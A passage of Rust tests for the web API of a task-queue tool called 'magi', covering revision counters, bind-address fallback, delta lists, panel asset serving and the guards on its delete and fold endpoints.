15938 && payload["questions_rev"].is_u64()
15939 && payload["talks_rev"].is_u64()
15940 && payload["notifications_rev"].is_u64()
15941 && payload["loop_rev"].is_u64(),
15942 "the client needs one revision per store to know what to refetch, \
15943 and `talks_rev` is the only notification a standing talk gets - a \
15944 phone whose radio slept through a turn learns about it here, as \
15945 does one whose operator started the loop from another device: \
15946 {payload}"
15947 );
15948
15949 let health = f.get("/api/health").await.json();
15956 for key in [
15957 "queue_rev",
15958 "runs_rev",
15959 "questions_rev",
15960 "talks_rev",
15961 "notifications_rev",
15962 "loop_rev",
15963 ] {
15964 assert!(
15965 health[key].is_u64(),
15966 "health is the change stream's fallback and is missing `{key}`: {health}"
15967 );
15968 }
15969 }
15970
15971 #[tokio::test]
15972 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15973 let f = Fixture::start().await;
15974 let before = f.get("/api/health").await.json()["talks_rev"]
15975 .as_u64()
15976 .expect("talks_rev");
15977
15978 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15979 std::thread::sleep(Duration::from_millis(10));
15980 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15981 on_disk.turns.push(crate::talk::Turn {
15982 breaks: Some(Vec::new()),
15983 messages: Vec::new(),
15984 posted_by: None,
15985 who: crate::talk::Who::Operator,
15986 body: "a new turn".to_owned(),
15987 at: Timestamp::now(),
15988 attachments: Vec::new(),
15989 usage: None,
15990 });
15991 f.talks().put(&mut on_disk).expect("record a turn");
15992
15993 let after = f.get("/api/health").await.json()["talks_rev"]
15994 .as_u64()
15995 .expect("talks_rev");
15996 assert_ne!(
15997 before, after,
15998 "a phone must be able to notice a talk's reply without polling every store"
15999 );
16000 }
16001
16002 #[test]
16003 fn bind_reads_back_from_the_spelling_the_cli_prints() {
16004 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
16008 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
16009 }
16010 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
16011 assert!("everywhere".parse::<Bind>().is_err());
16012 }
16013
16014 #[test]
16015 fn an_explicit_bind_address_is_taken_verbatim() {
16016 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
16017
16018 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
16019
16020 assert_eq!(addr, asked);
16021 assert!(
16022 warning.is_none(),
16023 "an operator who named an address gets no lecture"
16024 );
16025 }
16026
16027 #[test]
16028 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
16029 let (addr, warning) = resolve_bind(&Bind::Auto);
16030
16031 match addr {
16038 IpAddr::V4(ip) if is_tailnet(&ip) => {
16039 assert!(warning.is_none(), "a tailnet address needs no warning");
16040 }
16041 other => {
16042 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
16043 let warning = warning.expect("a fallback has to explain itself");
16044 assert!(
16045 warning.contains("127.0.0.1") && warning.contains("local-only"),
16046 "the warning says what happened and what it costs: {warning}"
16047 );
16048 }
16049 }
16050 }
16051
16052 #[test]
16053 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
16054 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
16058 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
16059 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
16060 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
16061 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
16062 }
16063
16064 #[test]
16065 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
16066 let ids = vec![
16067 "20260902-140501-aaaa".to_owned(),
16068 "20260902-140502-aabb".to_owned(),
16069 ];
16070
16071 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
16072 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
16073 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
16074
16075 assert_eq!(missing.status, StatusCode::NOT_FOUND);
16076 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
16077 assert_eq!(short, "20260902-140502-aabb");
16078 }
16079 #[tokio::test]
16080 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
16081 let fx = Fixture::start().await;
16087 let id = panel(
16088 &fx,
16089 "<img src=\"shot.png\">",
16090 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
16091 );
16092
16093 let doc = fx
16095 .get(&format!("/api/questions/{id}/panel/index.html"))
16096 .await;
16097 assert_eq!(doc.status, 200, "{}", doc.body);
16098 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
16099
16100 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
16101 assert_eq!(sibling.status, 200, "{}", sibling.body);
16102 assert_eq!(sibling.header("content-type"), Some("image/png"));
16103 assert_eq!(
16104 sibling.header("content-security-policy"),
16105 Some(PANEL_CSP),
16106 "the sibling route must carry the same policy as the asset route"
16107 );
16108
16109 assert_eq!(
16112 fx.head(&format!("/api/questions/{id}/panel")).await.status,
16113 200
16114 );
16115 }
16116
16117 #[test]
16118 fn delta_stamps_cover_add_update_remove_and_noop() {
16119 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
16120 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
16121 let delta = diff_stamps(&before, &after, 42);
16122 assert_eq!(delta.base, 42);
16123 assert_eq!(delta.changed, ["b", "c"]);
16124 assert_eq!(delta.removed, ["a"]);
16125 let same = diff_stamps(&after, &after, 43);
16126 assert!(same.changed.is_empty() && same.removed.is_empty());
16127 assert_ne!(stamps_revision(&before), stamps_revision(&after));
16128 let nanos: Stamps = [("b".into(), (2, 20))].into();
16129 let same_ms: Stamps = [("b".into(), (3, 20))].into();
16130 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
16131 assert_eq!(stamps_revision(&Stamps::new()), 0);
16132 }
16133
16134 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
16135 std::fs::create_dir_all(home.join("runs")).unwrap();
16136 Arc::new(Ui::new(
16137 Queue::at(home.join("queue")),
16138 Questions::at(home.join("questions")),
16139 Talks::at(home.join("talks")),
16140 home.join("runs"),
16141 home.to_owned(),
16142 PathBuf::from("/repo/magi"),
16143 ))
16144 }
16145
16146 #[tokio::test]
16147 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
16148 let home = TempDir::new().unwrap();
16149 let ui = delta_test_ui(home.path());
16150 let mut task = Task::new(
16151 "stream task".into(),
16152 "text".into(),
16153 PathBuf::from("/repo"),
16154 Source::Human,
16155 );
16156 ui.queue.put(&mut task).unwrap();
16157 let response = events(State(ui.clone())).await.into_response();
16158 let mut stream = response.into_body().into_data_stream();
16159 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
16160 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
16161 .await
16162 .unwrap()
16163 .unwrap()
16164 .unwrap();
16165 let text = String::from_utf8(chunk.to_vec()).unwrap();
16166 let data = text
16167 .lines()
16168 .find_map(|line| {
16169 line.strip_prefix("data: ")
16170 .or_else(|| line.strip_prefix("data:"))
16171 })
16172 .unwrap();
16173 serde_json::from_str(data).unwrap()
16174 }
16175 let initial = change(&mut stream).await;
16176 assert!(initial.get("queue_delta").is_none());
16177 task.instruction.push_str(" changed");
16178 ui.queue.put(&mut task).unwrap();
16179 let updated = change(&mut stream).await;
16180 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
16181 assert_eq!(
16182 updated["queue_delta"]["changed"],
16183 serde_json::json!([task.id])
16184 );
16185 assert_eq!(
16186 updated["queue_rev"].as_u64(),
16187 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
16188 );
16189 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
16190 let removed = change(&mut stream).await;
16191 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
16192 assert_eq!(
16193 removed["queue_delta"]["removed"],
16194 serde_json::json!([task.id])
16195 );
16196 }
16197
16198 #[tokio::test]
16199 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
16200 let home = TempDir::new().unwrap();
16201 let ui = delta_test_ui(home.path());
16202 let queue = ui.queue.clone();
16203 let query = |ids: Option<&str>| {
16204 Query(ListQuery {
16205 limit: Some(2),
16206 ids: ids.map(str::to_owned),
16207 })
16208 };
16209 let mut root = Task::new(
16210 "root".into(),
16211 "instruction".into(),
16212 PathBuf::from("/repo"),
16213 Source::Human,
16214 );
16215 queue.put(&mut root).unwrap();
16216 let mut blocked = Task::new(
16217 "blocked".into(),
16218 "instruction".into(),
16219 PathBuf::from("/repo"),
16220 Source::Human,
16221 );
16222 blocked.block(vec![root.id.clone()], None);
16223 queue.put(&mut blocked).unwrap();
16224 let whole =
16225 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
16226 .unwrap();
16227 let subset = serde_json::to_value(
16228 queue_list(State(ui.clone()), query(Some(&root.id)))
16229 .await
16230 .unwrap()
16231 .0,
16232 )
16233 .unwrap();
16234 assert_eq!(whole, subset, "requested root plus its blocked dependent");
16235 let blockers = serde_json::to_value(
16236 queue_list(State(ui.clone()), query(Some("")))
16237 .await
16238 .unwrap()
16239 .0,
16240 )
16241 .unwrap();
16242 assert_eq!(blockers.as_array().unwrap().len(), 1);
16243 assert_eq!(blockers[0]["id"], blocked.id);
16244 assert_eq!(
16245 blockers[0]["waits_on"],
16246 whole
16247 .as_array()
16248 .unwrap()
16249 .iter()
16250 .find(|row| row["id"] == blocked.id)
16251 .unwrap()["waits_on"]
16252 );
16253
16254 for id in [
16255 "20260902-140501-aaaa",
16256 "20260902-140502-bbbb",
16257 "20260902-140503-cccc",
16258 ] {
16259 write_run(&ui.runs, id, RunStatus::Merged);
16260 }
16261 let old = serde_json::to_value(
16262 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
16263 .await
16264 .unwrap()
16265 .0,
16266 )
16267 .unwrap();
16268 assert!(
16269 old.as_array().unwrap().is_empty(),
16270 "older updates must not enter the window"
16271 );
16272 let newest = serde_json::to_value(
16273 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
16274 .await
16275 .unwrap()
16276 .0,
16277 )
16278 .unwrap();
16279 assert_eq!(newest.as_array().unwrap().len(), 1);
16280 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
16281
16282 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
16283 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
16284 let talks = serde_json::to_value(
16285 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
16286 .await
16287 .unwrap()
16288 .0,
16289 )
16290 .unwrap();
16291 assert_eq!(talks.as_array().unwrap().len(), 1);
16292 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
16293 assert_eq!(
16294 serde_json::to_value(
16295 talks_list(State(ui.clone()), query(Some("")))
16296 .await
16297 .unwrap()
16298 .0
16299 )
16300 .unwrap(),
16301 serde_json::json!([])
16302 );
16303 }
16304
16305 #[tokio::test]
16306 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
16307 async fn delta_payload_benchmark() {
16308 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
16309 let ui = delta_test_ui(&home);
16310 let query = |ids: Option<String>| {
16311 Query(ListQuery {
16312 limit: Some(50),
16313 ids,
16314 })
16315 };
16316 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
16317 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
16318 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
16319 let queue_id = queue
16320 .iter()
16321 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
16322 .unwrap_or(&queue[0])
16323 .task
16324 .id
16325 .clone();
16326 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
16327 .await
16328 .unwrap()
16329 .0;
16330 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
16331 .await
16332 .unwrap()
16333 .0;
16334 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
16335 .await
16336 .unwrap()
16337 .0;
16338 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
16339 eprintln!(
16340 "DELTA_PAYLOAD {}",
16341 serde_json::json!({
16342 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
16343 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
16344 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
16345 "counts": [queue.len(), runs.len(), talks.len()],
16346 "blocked": queue_delta.len() - 1,
16347 })
16348 );
16349 }
16350
16351 #[test]
16352 fn runs_revision_moves_when_deleting_an_older_run() {
16353 let temp = TempDir::new().expect("tempdir");
16354 let runs = temp.path().join("runs");
16355 std::fs::create_dir_all(&runs).expect("create runs dir");
16356
16357 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
16358
16359 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
16360 std::thread::sleep(Duration::from_millis(10));
16361 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
16362
16363 let rev_before = runs_revision(&runs);
16364 assert!(rev_before > 0);
16365
16366 let old_dir = runs.join("20260901-100000-old1");
16367 std::fs::remove_dir_all(&old_dir).expect("remove old run");
16368
16369 let rev_after = runs_revision(&runs);
16370 assert_ne!(
16371 rev_before, rev_after,
16372 "deleting an older run must change the revision so other clients see the deletion"
16373 );
16374 }
16375
16376 fn write_state(runs: &FsPath, state: &RunState) {
16381 let dir = runs.join(&state.id);
16382 std::fs::create_dir_all(&dir).expect("run dir");
16383 std::fs::write(
16384 dir.join("run.json"),
16385 serde_json::to_string_pretty(state).expect("serialize run"),
16386 )
16387 .expect("write run.json");
16388 }
16389
16390 #[test]
16395 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
16396 let temp = TempDir::new().expect("tempdir");
16397 let runs = temp.path().join("runs");
16398 std::fs::create_dir_all(&runs).expect("create runs dir");
16399 let mut state = RunState::new(
16400 PathBuf::from("/repo/magi"),
16401 "main".to_owned(),
16402 "0123456789abcdef".to_owned(),
16403 "task".to_owned(),
16404 Config::default(),
16405 );
16406 state.id = "20260902-100000-c0de".to_owned();
16407 write_state(&runs, &state);
16408
16409 let rev_idle = runs_revision(&runs);
16410 std::thread::sleep(Duration::from_millis(10));
16411 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
16412 write_state(&runs, &state);
16413 let rev_started = runs_revision(&runs);
16414 assert_ne!(
16415 rev_idle, rev_started,
16416 "a seat starting must move the revision"
16417 );
16418
16419 std::thread::sleep(Duration::from_millis(10));
16420 state.seat_finished("judge-1");
16421 write_state(&runs, &state);
16422 let rev_finished = runs_revision(&runs);
16423 assert_ne!(
16424 rev_started, rev_finished,
16425 "and clearing it again must move the revision a second time"
16426 );
16427 }
16428
16429 #[tokio::test]
16430 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
16431 let fx = Fixture::start().await;
16436 let q = fx.queue();
16437
16438 let mut t = Task::new(
16439 "Task".to_owned(),
16440 "Instruction".to_owned(),
16441 PathBuf::from("/repo"),
16442 Source::Human,
16443 );
16444 t.block(
16445 vec!["20260101-000000-dead".to_owned()],
16446 Some("waiting on Task 1".to_owned()),
16447 );
16448 t.answers.push(crate::queue::AnsweredQuestion {
16449 question: "Which backend?".to_owned(),
16450 answer: "SQLite".to_owned(),
16451 });
16452 q.put(&mut t).expect("put t");
16453
16454 let res = fx.get("/api/queue").await;
16455 assert_eq!(res.status, 200);
16456 let list = res.json();
16457 let view = list
16458 .as_array()
16459 .expect("array")
16460 .iter()
16461 .find(|v| v["id"] == t.id)
16462 .expect("task in list");
16463 assert_eq!(view["status_str"], "blocked");
16464 assert_eq!(
16465 view["blocked_by"],
16466 serde_json::json!(["20260101-000000-dead"])
16467 );
16468 assert_eq!(view["block_reason"], "waiting on Task 1");
16469 assert_eq!(view["answers"][0]["question"], "Which backend?");
16470 assert_eq!(view["answers"][0]["answer"], "SQLite");
16471
16472 let res = fx
16476 .post(&format!("/api/queue/{}/hold", t.short()), None)
16477 .await;
16478 assert_eq!(res.status, 200);
16479 let held = res.json();
16480 assert_eq!(held["status_str"], "held");
16481 assert_eq!(held["blocked_by"], serde_json::json!([]));
16482 assert!(held["block_reason"].is_null());
16483 assert_eq!(held["answers"][0]["answer"], "SQLite");
16484 }
16485
16486 #[tokio::test]
16487 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
16488 let fx = Fixture::start().await;
16489 let q = fx.queue();
16490 let mk = |title: &str| {
16491 Task::new(
16492 title.to_owned(),
16493 "Instruction".to_owned(),
16494 PathBuf::from("/repo"),
16495 Source::Human,
16496 )
16497 };
16498 let mut root = mk("root");
16499 root.hold_manual(Some("waiting".to_owned()));
16500 q.put(&mut root).unwrap();
16501 let mut mid = mk("mid");
16502 mid.block(vec![root.id.clone()], None);
16503 q.put(&mut mid).unwrap();
16504 let mut leaf = mk("leaf");
16505 leaf.block(vec![mid.id.clone()], None);
16506 q.put(&mut leaf).unwrap();
16507
16508 let list = fx.get("/api/queue").await.json();
16509 let find = |id: &str| {
16510 list.as_array()
16511 .unwrap()
16512 .iter()
16513 .find(|v| v["id"] == id)
16514 .unwrap()
16515 .clone()
16516 };
16517 let leaf_view = find(&leaf.id);
16518 assert_eq!(
16519 leaf_view["waits_on"],
16520 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
16521 );
16522 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
16523 assert_eq!(
16524 find(&mid.id)["waits_on"],
16525 serde_json::json!([format!("{} (held)", root.short())])
16526 );
16527 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
16528 }
16529
16530 #[tokio::test]
16531 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
16532 let fx = Fixture::start().await;
16533 let q = fx.queue();
16534
16535 let mut t1 = Task::new(
16537 "Task 1".to_owned(),
16538 "Instruction 1".to_owned(),
16539 PathBuf::from("/repo"),
16540 Source::Human,
16541 );
16542 let run_id = "20260901-000000-r111";
16543 t1.runs.push(run_id.to_owned());
16544 write_run(&fx.runs(), run_id, RunStatus::Merged);
16545 q.put(&mut t1).expect("put t1");
16546
16547 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
16549 assert_eq!(res.status, 204);
16550 assert!(res.body.is_empty(), "204 No Content has no body");
16551 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
16552 assert!(
16553 fx.runs().join(run_id).exists(),
16554 "run directory must not be deleted when its task is deleted"
16555 );
16556
16557 let mut t2 = Task::new(
16559 "Task 2".to_owned(),
16560 "Instruction 2".to_owned(),
16561 PathBuf::from("/repo"),
16562 Source::Human,
16563 );
16564 t2.status = TaskStatus::Running;
16565 q.put(&mut t2).expect("put t2");
16566 let mut beat = crate::daemon::Status::new();
16567 beat.current = vec![crate::daemon::Current {
16568 task: t2.id.clone(),
16569 run: "20260901-000000-r222".to_owned(),
16570 }];
16571 beat.updated_at = jiff::Timestamp::now();
16572 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16573 .expect("publish a heartbeat");
16574 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
16575 assert_eq!(res.status, 409);
16576 assert!(
16577 res.json()["error"]
16578 .as_str()
16579 .unwrap()
16580 .contains("live daemon")
16581 );
16582 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
16583
16584 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
16590 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16591 .expect("leave a stale heartbeat");
16592 let mut t3 = Task::new(
16593 "Task 3".to_owned(),
16594 "Instruction 3".to_owned(),
16595 PathBuf::from("/repo"),
16596 Source::Human,
16597 );
16598 t3.status = TaskStatus::Running;
16599 q.put(&mut t3).expect("put t3");
16600 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
16601 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
16602 assert_eq!(res.status, 204);
16603 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
16604 assert!(
16605 q.claim(&t3.id).is_ok(),
16606 "the stale lock went with it, so the id is claimable again"
16607 );
16608
16609 let res = fx.delete("/api/queue/nonexistent").await;
16611 assert_eq!(res.status, 404);
16612 }
16613
16614 #[tokio::test]
16615 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16616 let fx = Fixture::start().await;
16617 let runs = fx.runs();
16618
16619 let run_id = "20260901-000000-fold";
16621 let mut state = RunState::new(
16622 PathBuf::from("/repo"),
16623 "main".to_owned(),
16624 "abc".to_owned(),
16625 "instruction".to_owned(),
16626 Config::default(),
16627 );
16628 state.id = run_id.to_owned();
16629 state.status = RunStatus::Merged;
16630 state.candidates.push(crate::run::Candidate {
16631 index: 0,
16632 label: 'A',
16633 agent: "a".to_owned(),
16634 branch: "b".to_owned(),
16635 worktree: PathBuf::from("/w"),
16636 summary: String::new(),
16637 stat: String::new(),
16638 files: 1,
16639 commits: 1,
16640 empty: false,
16641 failed: None,
16642 verified_noop: None,
16643 duration_ms: 0,
16644 folded: true,
16645 });
16646 let dir = runs.join(run_id);
16647 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16648 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16649 .expect("write artifact");
16650 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16651 .expect("write run.json");
16652
16653 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16655 assert_eq!(res.status, 204);
16656 assert!(res.body.is_empty(), "204 has no body");
16657 assert!(!dir.exists(), "run directory and artifacts must be deleted");
16658
16659 let run_running = "20260901-000000-rung";
16664 write_run(&runs, run_running, RunStatus::Prep);
16665 let mut beat = crate::daemon::Status::new();
16666 beat.current = vec![crate::daemon::Current {
16667 task: "20260901-000000-task".to_owned(),
16668 run: run_running.to_owned(),
16669 }];
16670 beat.updated_at = jiff::Timestamp::now();
16671 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16672 .expect("publish a heartbeat");
16673 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16674 assert_eq!(res.status, 409);
16675 assert!(
16676 res.json()["error"]
16677 .as_str()
16678 .unwrap()
16679 .contains("live daemon"),
16680 "the refusal must say who is holding it"
16681 );
16682 assert!(
16683 runs.join(run_running).exists(),
16684 "a run in flight keeps its directory"
16685 );
16686
16687 let run_unfolded = "20260901-000000-unfd";
16689 let mut state2 = RunState::new(
16690 PathBuf::from("/repo"),
16691 "main".to_owned(),
16692 "abc".to_owned(),
16693 "instruction".to_owned(),
16694 Config::default(),
16695 );
16696 state2.id = run_unfolded.to_owned();
16697 state2.status = RunStatus::Ready;
16698 state2.candidates.push(crate::run::Candidate {
16699 index: 0,
16700 label: 'A',
16701 agent: "a".to_owned(),
16702 branch: "b".to_owned(),
16703 worktree: PathBuf::from("/w"),
16704 summary: String::new(),
16705 stat: String::new(),
16706 files: 1,
16707 commits: 1,
16708 empty: false,
16709 failed: None,
16710 verified_noop: None,
16711 duration_ms: 0,
16712 folded: false,
16713 });
16714 let dir2 = runs.join(run_unfolded);
16715 std::fs::create_dir_all(&dir2).expect("create dir2");
16716 std::fs::write(
16717 dir2.join("run.json"),
16718 serde_json::to_string(&state2).unwrap(),
16719 )
16720 .expect("write run.json");
16721
16722 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16723 assert_eq!(res.status, 409);
16724 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16725 assert!(dir2.exists(), "unfolded run directory is kept");
16726
16727 let res = fx.delete("/api/runs/nonexistent").await;
16729 assert_eq!(res.status, 404);
16730 }
16731
16732 #[test]
16741 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16742 let start = APP_JS
16743 .find("function renderStats() {")
16744 .expect("renderStats");
16745 let end = start
16746 + APP_JS[start..]
16747 .find("function statsTile(")
16748 .expect("the next top-level function");
16749 let body = &APP_JS[start..end];
16750
16751 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16752 let gate_end = gate_start
16753 + body[gate_start..]
16754 .find("}\n renderStatsQueue")
16755 .expect("the gate's own closing brace, right before the unconditional call");
16756 let gated = &body[gate_start..gate_end];
16757
16758 assert_eq!(
16759 body.matches("renderStatsQueue(").count(),
16760 1,
16761 "renderStats must call renderStatsQueue exactly once: {body}"
16762 );
16763 assert!(
16764 !gated.contains("renderStatsQueue"),
16765 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16766 run-derived panels on an empty run history - the queue panel has to render \
16767 regardless: {gated}"
16768 );
16769 }
16770
16771 #[test]
16772 fn web_ui_delete_contract_in_front_end() {
16773 assert!(APP_JS.contains("deleteRun:"));
16775 assert!(APP_JS.contains("deleteTask:"));
16776
16777 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16779 ..APP_JS.find("function renderRuns").unwrap()];
16780 assert!(!run_cards_slice.to_lowercase().contains("delete"));
16781
16782 assert!(APP_JS.contains("renderRunDelete"));
16784 assert!(APP_JS.contains("runDeleteReason"));
16785 assert!(APP_JS.contains("magi fold"));
16786 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16787
16788 assert!(APP_JS.contains("cancel.focus"));
16790 assert!(APP_JS.contains("armedRunDelete"));
16791 assert!(APP_JS.contains("renderTaskDeleteBox"));
16792 assert!(APP_JS.contains("armed${cap(key)}"));
16793
16794 assert!(APP_JS.contains("disabled: status === \"running\""));
16796 }
16797
16798 #[test]
16818 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16819 let build = APP_JS
16820 .find("function createRunCard")
16821 .expect("createRunCard exists");
16822 let update = APP_JS
16823 .find("function updateRunCard")
16824 .expect("updateRunCard exists");
16825 let end = APP_JS
16826 .find("function renderRuns")
16827 .expect("renderRuns exists");
16828
16829 let builder = &APP_JS[build..update];
16831 let open = builder.find("refs = {").expect("createRunCard sets refs");
16832 let literal = &builder[open + "refs = {".len()..];
16833 let close = literal.find('}').expect("the refs literal is closed");
16834 let published: HashSet<&str> = literal[..close]
16835 .split(',')
16836 .filter_map(|entry| entry.split(':').next())
16838 .map(str::trim)
16839 .filter(|name| !name.is_empty())
16840 .collect();
16841 assert!(
16842 published.len() > 5,
16843 "the refs literal did not parse into names: {published:?}"
16844 );
16845
16846 let mut used: Vec<&str> = Vec::new();
16849 let updaters = &APP_JS[update..end];
16850 for (at, _) in updaters.match_indices("r.") {
16851 let before = updaters[..at].chars().next_back();
16854 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16855 continue;
16856 }
16857 let rest = &updaters[at + 2..];
16858 let len = rest
16859 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16860 .unwrap_or(rest.len());
16861 if len > 0 {
16862 used.push(&rest[..len]);
16863 }
16864 }
16865 assert!(
16866 used.len() > 5,
16867 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16868 );
16869
16870 let missing: Vec<&str> = used
16871 .iter()
16872 .copied()
16873 .filter(|name| !published.contains(name))
16874 .collect();
16875 assert!(
16876 missing.is_empty(),
16877 "a run card's updater reaches for {missing:?}, which `createRunCard` \
16878 never put in `refs` - every card will throw and the list will \
16879 render empty under a count line that says otherwise. Published: \
16880 {published:?}"
16881 );
16882 }
16883
16884 #[tokio::test]
16885 async fn folding_from_the_phone_reports_what_it_removed() {
16886 let fx = Fixture::start().await;
16887 let runs = fx.runs();
16888
16889 let id = "20260901-000000-fold";
16893 write_run(&runs, id, RunStatus::Stalled);
16894 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16895 assert_eq!(res.status, 200);
16896 assert_eq!(res.json()["removed_count"], 0);
16897 assert_eq!(res.json()["run"], id);
16898 assert!(
16899 runs.join(id).exists(),
16900 "a fold keeps the run's record; only the worktrees go"
16901 );
16902 }
16903
16904 #[tokio::test]
16905 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16906 let fx = Fixture::start().await;
16907 let runs = fx.runs();
16908 let wt = fx.home.path().join("wt").join("magi").join("dead");
16909 let id = "20260901-000000-dead";
16910 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16911 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16912 std::fs::create_dir_all(&wt).expect("worktree dir");
16913
16914 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16915 assert_eq!(res.status, 200, "{}", res.body);
16916 assert!(
16917 res.json()["removed_count"].as_u64().unwrap() > 0,
16918 "the worktree this build could not read a state for still went"
16919 );
16920 assert!(
16921 !runs.join(id).exists(),
16922 "an unreadable run has no candidate list to fold selectively, so \
16923 the whole record goes - same as `magi fold` on the CLI"
16924 );
16925 }
16926
16927 #[tokio::test]
16928 async fn deleting_an_unreadable_run_removes_it_wholesale() {
16929 let fx = Fixture::start().await;
16930 let runs = fx.runs();
16931 let wt = fx.home.path().join("wt").join("magi").join("gone");
16932 let id = "20260901-000000-gone";
16933 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16934 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16935 std::fs::create_dir_all(&wt).expect("worktree dir");
16936
16937 let res = fx.delete(&format!("/api/runs/{id}")).await;
